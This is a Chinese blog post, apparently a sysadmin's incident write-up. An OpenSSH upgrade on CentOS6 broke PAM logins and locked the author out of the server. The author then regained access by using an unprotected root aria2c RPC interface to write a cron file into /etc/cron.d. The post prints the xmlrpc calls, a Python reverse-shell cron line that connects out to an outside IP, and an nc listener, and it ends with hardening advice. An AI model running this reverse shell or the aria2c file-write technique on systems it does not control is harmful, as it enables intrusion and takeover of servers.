aria2c 竟成救命稻草?记一次服务器失联事故

TL; DR:变更 sshd 这种高危操作三思而后行,最好留个后路谨防失联。
TL; DR 2:裸奔的 aria2c 可以用于写入文件最终导致 getshell,为了安全起见,公网上的 aria2c 建议禁用 rpc-listen-all 或/和设置足够强的 rpc token,也避免使用 root 运行 aria2c。

起因:从 OpenSSH 8.2 说起

https://lwn.net/Articles/812537/ 所述,由于 SHA-1 签名算法的暴力破解成本已下降到可接受范围,OpenSSH 8.2 决定不再支持 ssh-rsa 签名算法,其结果是,过旧版本的 ssh-server 将无法使用高版本 ssh-client 连接,比如 CentOS6 的 5.3 不支持 ecdsa host key,也不支持 rsa-sha256 或更强的算法,摆在 CentOS6 用户面前的只有两条路,1. 升级 OpenSSH 版本,2. 准备一个旧版 ssh client 用来登陆老旧服务器。

很不巧的是我手头正好有一台老旧的、没有接 IPMI 管理网卡的 CentOS6 物理服务器,CentOS6 主源中没有符合要求版本的 OpenSSH(>5.7),于是我需要尝试自行编译或找一个别人编译好的二进制。由于不清楚 OpenSSH 编译需要如何处理依赖问题,sftp 等相关子系统能否正常使用,我决定优先搜索前人留下的预编译包,于是我找到了 https://github.com/faishal/openssh-portable/releases/download/cent.os.6.7.openssh.7.3p1/openssh-7.3.zip ,事实表明它有坑,Google 搜出来的第一个结果也不一定总是靠谱的。

意外:SSH 断线致惨被关服务器外

正常情况下,listen 端口的 daemon 进程和 establish 连接并分配伪终端 pty 的是不同的进程,当我们 reload sshd 时,实际是由 init 系统向 sshd daemon 进程发送 SIGHUP 信号,sshd 此时会重新打开一次配置文件(systemd 会在 reload 之前检查配置文件合法性,而 CentOS6 则不会,reload 不会检查配置格式合法性甚至仍显示 reload 成功,实际上此时 sshd daemon 进程已经退出,不再接受新建会话,此时如果关闭当前 ssh 会话服务器就会失联,神坑,而且其实我之前就踩过这个坑 但是我忘了),而 restart 则是 SIGTERM,此时 sshd daemon 会退出重启(可以观察到 daemon 进程 pid 变化),而不会影响已经启动的 pty 进程,establish 中的连接也不会中断,这就是为什么一般情况下我们可以在 ssh session 中随意 restart sshd 却不会掉线。

谨慎起见,我做了如下操作:

  • 使用 rpm2cpio /path/to/rpm | cpio -idmv 解包查看了 rpm 包内容,通过 ldd 查看二进制文件没有缺失的动态链接库
  • 新建了一份 sshd 配置文件保存为 sshd_config.new,通过 /path/to/sshd -f /path/to/sshd_config.new 让解包出来的 sshd 进程读取独立的配置文件并 listen 在一个新的端口上,经过测试可以正确连接(但此时一个错误操作是我确认后就 kill 掉了这个独立进程,理论上应该保留到 service reload 完成)
  • 备份了原来的 /etc/ssh/sshd_config/etc/pam.d/sshd (但是忘了在 reload 前确认文件差异,是导致事故的直接原因)
  • 确认打开了允许密码登陆,防止遇到文件权限不对导致的无法使用 pubkey auth 等问题

一切似乎都很正常,于是 rpm -U 进行升级,ssh-keygen -A 生成新的 ECDSA host key,service sshd reload,然而意料之外的遇到 Write Failed: broken pipe 报错,ssh 会话立刻断开了(配置过 interval,不应为网络超时导致),尝试重新登陆,发现端口可以正常建立连接(说明 sshd 正常在运行),然而 pubkey denied,密码登陆也失败,问题似乎指向了登陆验证也就是 PAM。

于是我又找来一台 CentOS 机器解包,发现 rpm 包内的 PAM 配置缺少 include password-auth include pam_login 等,在安装过程中 rpm 未经提示地覆盖了 /etc/pam.d/sshd 我较少使用红帽系 Linux,也不知道这是 feature 还是 bug,dpkg 在覆盖文件时一般都会提醒用户选择。由于这是 PAM 问题而不是 sshd 本身配置问题,sshd -t 并不能测试出 sshd_config 以外的问题,理论上 systemd 发行版也有可能踩到这种坑。

转折:从 aria2c 到 getshell

人生总是充满意外,我在多次确认不是我敲错了密码之后开始陷入沉思,要跑到上千公里外的某机房去吹空调修机器似乎是一个不现实的事情,于是我开始思考有什么别的办法可以让我不经过 ssh 登回去。很不巧的是这台服务器没有跑着任何业务,也就是没有 webcgi,通过网站漏洞传 webshell 是不可能的了,光秃秃的 MySQL 只监听了本地,另外有一个 aria2c rpc 接口,似乎可作为突破口。

由于机房带防火墙,6800端口从外部不可访问,因此我没有配任何防护,rpc-listen-all=true 且是 root 运行,而我恰好还有同网段的其他机器可以绕过防火墙访问 rpc 接口,这等同于具有了任意文件写入的权限,结合 https://paper.seebug.org/120/ 和一些经验,确定思路上是使用 aria2c 通过 rpc 下载包含了反弹 shell 的 cron 配置到 /etc/cron.d,等待一分钟即可从外网通过反弹 shell 登陆回服务器,需要注意默认设置下 aria2c 遇到下载目标已经存在时会自动重命名,类似 download.file => download.1.file ,aria2c 有一个 allow-overwrite 选项,可以通过 aria2.changeGlobalOption全局调整为 true。

>>> import xmlrpclib
>>> s = xmlrpclib.ServerProxy('http://10.10.10.10:6800/rpc')
>>> s.aria2.changeGlobalOption({'allow-overwrite':'true'})
'OK'

所谓反向 shell,简单讲就是在一个公网机器上 nc 监听一个端口,被控机器运行奇怪的命令或程序后将 shell 的 stdio 通过网络连接转发到公网机器上,实现从公网机器控制被控端的目的,当前我们的被控机有完整的运行环境、权限,也不需要考虑隐蔽性、鲁棒性等问题,我们可以不用费尽心思寻找真实渗透入侵场景下的全静态链接二进制反弹 shell 之类东西,简单的一句脚本就行,具体什么命令 Google 一下有很多,不一一列举,总之 cron 配置格式形如:

PATH=/usr/sbin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * root python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("233.233.233.233",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

然后找一个类似 YAAW 的前端连上 rpc 接口即可鼠标点点点下载文件到指定目录,到233.233.233.233上 nc -lvp 2333 打开端口等待一分钟,我们期待的 shell 就出现了,修改 PAM 配置,reload sshd,ssh 登陆恢复正常。

虽然人生充满意外,但是人生好像也是有惊喜的,你说我一个运维,怎么就来打 real world ctf 了呢。

总结:珍爱生命,远离上古系统,小心配置软件

事后检查 authlog,发现如下报错 PAM unable to dlopen(/lib64/security/pam_stack.so): /lib64/security/pam_stack.so: cannot open shared object file: No such file or directory,而该 rpm 包自带的 PAM 配置只有如下几行:

#%PAM-1.0
auth required pam_stack.so service=system-auth
account required pam_nologin.so
account required pam_stack.so service=system-auth
password required pam_stack.so service=system-auth
session required pam_stack.so service=system-auth

也就是实际上生效的只剩下了 required pam_nologin.so ,没有实际有效的登陆认证入口,自然无法登陆。

但我在 Debian 10 with systemd 上进行复盘测试时也发现几个问题:

  • 修改 PAM 后不需要 reload sshd,在下一次登陆时会自动使用新 PAM 配置,使用错误的 PAM 配置覆盖后,下一次登陆会立即失败
  • Debian 10 的 PAM 配置格式似乎太新,CentOS6 不能正确使用,备份原 PAM 配置节省了一部分试错时间
  • 尝试过在 sshd 二进制变更的情况下同时修改了 PAM 配置后进行 sshd restart,没有复现当时的情景,也就是说 reload sshd 在预期内确实是不会断开的

综上几条,似乎说明,严谨的流程应该是首先不 reload sshd 尝试一次登陆,以检查 PAM 是否存在问题,接着启动一个独立的 sshd 或反弹 shell 确保被 init 管理的 sshd 进程挂掉后有办法连接回来(systemd 管理的发行版稍好一些,不会允许错误配置导致 sshd 挂掉起不来的问题),然后 reload sshd,检查 sshd 进程存在,再尝试一次登陆,一切正常才能认为更新成功。

事实证明,维护老旧的服务器发行版是一件很痛苦的事情,包括 ssh 会话意外退出的问题,似乎已经无法确认具体是什么引起。另一方面,aria2c 作为本次事故的“功臣”,它本不应该有这个作用,反过来说,如果内网有其他想搞事情的邻居,可以非常简单的拿下这台服务器的权限,先前的我对 aria2c 的写文件能力没有作出足够的重视,退一步讲,即使需要把这个“功能”留作日后应急,也应该配置 secret 保护 rpc 接口。


本文链接:https://www.starduster.me/2020/02/18/get-shell-from-unaccessable-server-by-aria2c/
本站基于 Creactive Commons BY-NC-SA 4.0 License 允许并欢迎您在注明来源和非商业使用前提下自由地对本文进行复制、分享或基于本文进行创作。
请注意:受限于笔者水平,本站内容可能存在主观臆断或事实错误,文中信息也可能因时间推移而不再准确,在此提醒读者结合自身判断谨慎地采纳。

4条评论


  1. 流光姐姐好劲(似乎500错误无法评论?)

    回复

    1. 其实是评论成功了的,大概有什么关联插件挂了我一直懒得修

      回复

    2. 看了看是邮件回复插件用了个几万年前就deprecate的函数。。。

      回复

回复 stardust 取消回复

您的电子邮箱地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据